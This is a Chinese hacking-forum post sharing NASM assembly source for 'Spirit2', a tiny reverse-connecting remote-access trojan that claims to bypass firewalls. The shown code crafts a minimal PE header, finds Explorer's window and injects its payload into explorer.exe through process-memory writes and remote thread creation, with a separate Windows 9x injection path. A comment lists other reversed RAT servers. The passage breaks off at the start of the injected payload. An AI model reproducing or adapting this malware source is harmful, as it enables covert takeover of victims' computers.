[原创]Spirit2.Uploader Source:Anskya(已附图)

文章作者:Anskya
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

好久没有发贴了...最近感冒发烧,股票大跌,十七大召开,萨拉热窝交火,还有《学校的日子》结局引起大家争议,眼睛肿。。。
等等事情搞得自己灰心了

发个帖吧
还记得那个超小的RAT吗???1.37k的穿墙,Spirit系列是全世界最小的RAT
Spirit2=1775字节
Spirit3=1558字节
Spirit4=1400字节

反向连接,穿墙(特异功能.支持Win9x下穿墙.使用RT32_LIB注入引擎),现在贡献出来让大家赏玩。。。
希望可以结识更多喜欢ASM优化编程,和linux夸平台编程的朋友.
这个版本是Sp2---编译后体积1775字节
端口监听端口自己修改我懒得写生成器目前只有(代码有注释的)。。。nasm

不会玩masm32那么“高级”的东西,玩些低级货。。。
代码是nasm编译的。不会玩的朋友不要说我什么。。。

默认监听端口4862自己在代码里面修改吧
Code Language : ASM
  1. ;===============================================
  2. ;  Spirit2.Uploader Coder:Anskya
  3. ;  Email: [email]Anskya@Gmail.com[/email]
  4. ;
  5. ;  Spirit2.Uploader.code:100%(Server)-------code inject
  6. ;  Spirit3.b1.Uploader.code:100%(Server)----up
  7. ;  Spirit3.b2.Uploader.code:100%(Server)----up
  8. ;  Spirit4.Uploader.b1.code:100%(Server)----up
  9. ;  C-One 1.0.0.0.code:100%(Server----shit!)-code inject(no elirt)
  10. ;  Bifrost.1.102.code:100%(Server)----------dll (memory pe loader) inject(use elirt)+plugin memory loader
  11. ;  Poison Ivy 2.0.0-2.14:100%(Server)-------code inject(no use elict)-code plugin
  12. ;  tequila bandita 1.3b2.code:100%(Server)--dll Memory Inject
  13. ;  Nuclear Seed 1.1.code:100%(Server+Client)----process hjeck
  14. ;
  15. ;  Bifrost.1.21.code:30%(Server)------------dll (memory pe loader) inject(use elirt)
  16. ;  Flux.1.01.code:70%(Server)---------------code inject(use elirt)-code plugin
  17. ;  Poison Ivy 2.20-2.30.code:10%(Server)----code inject(no use elict)-code plugin
  18. ;
  19. ;  Thank:drocon,coban2k,iciko,ksv,Gargamel,shapeless,Caecigenus,stm
  20. ;    
  21. ;  完全原版逆向...编译器:Nasm 0.39.38 or Yasm 0.61
  22. ;  nasmw -fbin Spirit2a.asm -o Spirit2a.exe
  23. ;===============================================
  24. [BITS 32]
  25. %define    CODE_BASE  1000h
  26. %define   DATA_BASE   CODE_BASE  
  27. %define    RVADIFF    1000h-200h
  28. %define    imagebase   00400000h
  29. %define      reloc    RVADIFF+imagebase
  30.  
  31. %define    MAX_PATH  260
  32.  
  33. MZ_Header:
  34. .magic         dw \"MZ\"
  35. .cblp          dw 0
  36. .cp            dw \"IC\"
  37. .crlc          dw \"IK\"
  38. .cparhdr        dw \"O\"
  39. .minalloc        dw  0
  40. ;.cblp          dw \"[C\"
  41. ;.cp           dw \"]A\"
  42. ;.crlc          dw \"ns\"
  43. ;.cparhdr        dw \"ky\"
  44. ;.minalloc        dw \"a\"
  45.  
  46. PE_Header:
  47. .Signature       dd \"PE\"
  48. .Machine        dw 14Ch
  49. .NumberOfSections    dw 1
  50.  
  51. IAT_User32:
  52. .TimeDateStamp     dd 0
  53. .PointerToSymbolTable  dd 0
  54. .NumberOfSymbols    dd 0
  55. .SizeOfOptionalHeader  dw 0E0h
  56. .Characteristics    dw 103h
  57.  
  58. Optional_Header:
  59. .Magic         dw 10Bh          
  60. .MajorLinkerVersion   db 0
  61. .MinorLinkerVersion   db 0
  62. .SizeOfCode       dd CODE_BASE
  63. .SizeOfInitializedData dd 0
  64. .SizeOfUninitialzedData dd 0
  65.  
  66. .AddressOfEntryPoint  dd code+RVADIFF
  67. .BaseOfCode       dd 1000h
  68. ;.BaseOfData      dd DATA_BASE
  69. .lfanew         dd 0Ch
  70. ;align 16, DB 0            
  71. .ImageBase       dd imagebase
  72. .SectionAlignment    dd 1000h  
  73. .FileAlignment     dd 200h
  74. .MajorOperSystemVersion dw 4h
  75. .MinorOperSystemVersion dw 0h
  76. .MajorImageVersion   dw 0h
  77. .MinorImageVersion   dw 0h
  78. .MajorSubsystemVersion dw 4
  79. .MinorSubsystemVersion dw 0
  80. .Reserved1       dd 0h
  81. .SizeOfImage      dd 2000h
  82. .SizeOfHeaders     dd import
  83. .CheckSum        dd 0h
  84. .Subsystem       dw 2
  85. .DllCharacteristics   dw 0h
  86.  
  87. .SizeOfStackReserve1  dd 100000h
  88. .SizeOfStackCommit1   dd 2000h
  89. .SizeOfStackReserve2  dd 100000h
  90. .SizeOfStackCommit2   dd 1000h
  91.  
  92. .LoaderFlags      dd 0h
  93. .NumberOfRvaAndSizes  dd 10h
  94.  
  95. Data_Directories:
  96. .Export     times 2 dd 0h
  97. .Import         dd import+RVADIFF, import_end-import
  98. .Resource    times 2 dd 0
  99. .Exception    times 2 dd 0h
  100. .Security    times 2 dd 0h
  101. .Relocation    times 2 dd 0h
  102. .Debug      times 2 dd 0h
  103. .Architecture  times 2 dd 0h
  104. .GlobalPtr    times 2 dd 0h
  105. .TLS      times 2 dd 0h
  106. .LoadConfig    times 2 dd 0h
  107. .BoundImport  times 2 dd 0h
  108. .IAT      times 2 dd 0h
  109. .DelayImport  times 2 dd 0h
  110. .ComDescriptor  times 2 dd 0h
  111. .Reserved    times 2 dd 0h
  112.  
  113. ;PE节----至少要有一个PE节
  114. sections:
  115. .SectionName      db \"spirit2\",0
  116. .VirtualSize      dd 1000h
  117. .VirtualAddress     dd 1000h
  118. .SizeOfRawData     dd code_end-import
  119. .PointerToRawData    dd import
  120. .PointerToRelocations  dd 0h
  121. .PointerToLinenumbers  dd 0h
  122. .NumberOfRelocations  dw 0h
  123. .NumberOfLinenumbers  dw 0h
  124. .Characteristics    dd 0E00000D0h
  125.  
  126. ;============================================================================================
  127.  
  128. ;  循环启动自身.查找Explorer
  129. Find_Process:
  130.   push  11h
  131.   pop    ecx
  132. @loop_push1:
  133.   push  edi
  134.   loop  @loop_push1
  135.  
  136.   push  esp
  137.   push  esp
  138.   push  7
  139.   pop    ecx
  140. @loop_push2:
  141.   push  edi
  142.   loop  @loop_push2
  143.  
  144.   lea    eax, [reloc + __GetCurrentPath]
  145.   push  eax
  146.   call  [reloc + __CreateProcessA]
  147.  
  148.   push  11h
  149.   pop    ecx
  150. @loop_pop:
  151.   pop    eax
  152.   loop  @loop_pop
  153.  
  154.   popad
  155.   retn
  156.  
  157. ;  Win9x插入函数
  158. Inject_Win9x:
  159.   push  40h
  160.   push  08003000h
  161.   push  ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH * 2)
  162.   push  edi
  163.   call  [reloc + __VirtualAlloc]
  164.  
  165.   ;  Write Memory  
  166.   push  8
  167.   push  edi
  168.   push  eax
  169.   push  edi
  170.   push  ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH)
  171.   lea    edx, [reloc + __RemoteCodeStart]
  172.   push  edx
  173.   push  eax
  174.   push  esi
  175.   call  [reloc + __WriteProcessMemory]
  176.  
  177. ;  CreateRemoteThread For Win9x
  178.   call  [reloc + __GetCurrentProcessId]
  179.   xor    eax, [fs:030h]
  180.   xor    ebx, eax
  181.   mov    esi, [reloc + __DebugActiveProcess]
  182.  
  183. ;  搜索CreateRemoteThread9x
  184. @search_crt9x:
  185.   inc    esi
  186.   cmp    dword [esi], 0E857FFFFh
  187.   jnz    @search_crt9x
  188.  
  189.   lodsd
  190.   lodsd
  191.   add    eax, esi
  192.   push  -1000h
  193.   push  ebx
  194.   call  eax
  195.  
  196. ;  搜索OpenThread9x
  197.   push  edi
  198.   push  eax
  199.   mov    esi, [reloc + __OpenProcess]
  200. @search_opt9x:
  201.   inc    esi
  202.   cmp    dword [esi], 0E832FF50h
  203.   jnz     @search_opt9x
  204.   lodsd
  205.   lodsd
  206.   add    eax, esi
  207.   push  ebx
  208.   call  eax
  209.   popad
  210.   retn
  211.  
  212. dll002          db \"USER32\",0
  213. __ExplorerWindow    db 'shell_traywnd',0
  214.  
  215.  
  216. align 200h, DB 0
  217.  
  218. import  dd 0
  219.     dd 0
  220.     dd -1
  221.     dd dll001+RVADIFF
  222.     dd api001+RVADIFF
  223.  
  224. times 5 dd 0        ;NULL DLL ENTRY
  225.    
  226. dll001  db \"KERNEL32.DLL\",0
  227.  
  228. ;kernel32 apis
  229. api001  dd api101+RVADIFF
  230.     dd 0
  231.    
  232. api101  dw 0
  233.     db \"ExitProcess\",0
  234.    
  235. import_end:
  236.  
  237. code:
  238.   pushad
  239.  
  240.   lea    ebx, [reloc + __LoadLibraryA]
  241.   call  GetKernel32
  242.  
  243.   lea    eax, [imagebase + dll002]
  244.   push  eax
  245.   call  [reloc + __LoadLibraryA]
  246.   call  GetFunctions
  247.  
  248.   xor    edi, edi
  249.   ;  获取自身路径
  250.   push  MAX_PATH
  251.   lea    eax, [reloc + __GetCurrentPath]
  252.   push  eax
  253.   push  edi
  254.   call  [reloc + __GetModuleFileNameA]
  255.  
  256.   push  1024
  257.   call  [reloc + __Sleep]
  258.  
  259.   ;Debug
  260.   ;call  RemoteCode
  261.  
  262.   ;  查找Explorer.exe窗口
  263.   push  edi
  264.   lea    eax, [imagebase + __ExplorerWindow]
  265.   push  eax
  266.   call  [reloc + __FindWindowA]
  267.   test  eax, eax
  268.   jnz    @Inject_Process  
  269.  
  270.   ;  启动自身,再次查找Exlorer窗口
  271.   lea    eax, [imagebase + Find_Process]
  272.   jmp    eax
  273.  
  274. ;  注入代码To 远程进程(Explorer)
  275. @Inject_Process:
  276.   push  eax
  277.   push  esp
  278.   push  eax
  279.   call  [reloc + __GetWindowThreadProcessId]
  280.   pop    eax
  281.   xchg  eax, ebx
  282.  
  283.   push  ebx
  284.   push  edi
  285.   push  01F0FFFh
  286.   call  [reloc + __OpenProcess]
  287.   xchg  eax, esi
  288.  
  289.   ;  判断是否为Win9x
  290.   call  [reloc + __GetVersion]
  291.   cmp    eax, 080000000h
  292.   jb    @Inject_WinNT
  293.  
  294.   ;  执行Win9x插入
  295.   lea    eax, [imagebase + Inject_Win9x]
  296.   jmp    eax
  297.  
  298. @Inject_WinNT:
  299.   push  40h
  300.   push  3000h
  301.   push  ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH * 2)
  302.   push  edi
  303.   push  esi
  304.   call  [reloc + __VirtualAllocEx]
  305.  
  306.   push  eax
  307.   push  esp
  308.   push  edi
  309.   push  edi
  310.   push  eax
  311.   push  edi
  312.   push  ((__RemoteCodeEnd - __RemoteCodeStart) + MAX_PATH)
  313.   lea    ebx, [reloc + __RemoteCodeStart]
  314.   push  ebx
  315.   push  eax
  316.   push  esi
  317.   call  [reloc + __WriteProcessMemory]
  318.  
  319.   push  edi
  320.   push  edi
  321.   push  esi
  322.   call  [reloc + __CreateRemoteThread]
  323.   pop    eax
  324.  
  325.   popad
  326.   retn
  327. ;=============================================
  328. ;  RemoteCode
  329. __RemoteCodeStart:
  330. RemoteCode:
  331.   pushad
  332.   call  @Start
  333. @Start:
  334.   pop    ebx
  335.   add    ebx, (__LoadLibraryA - @Start)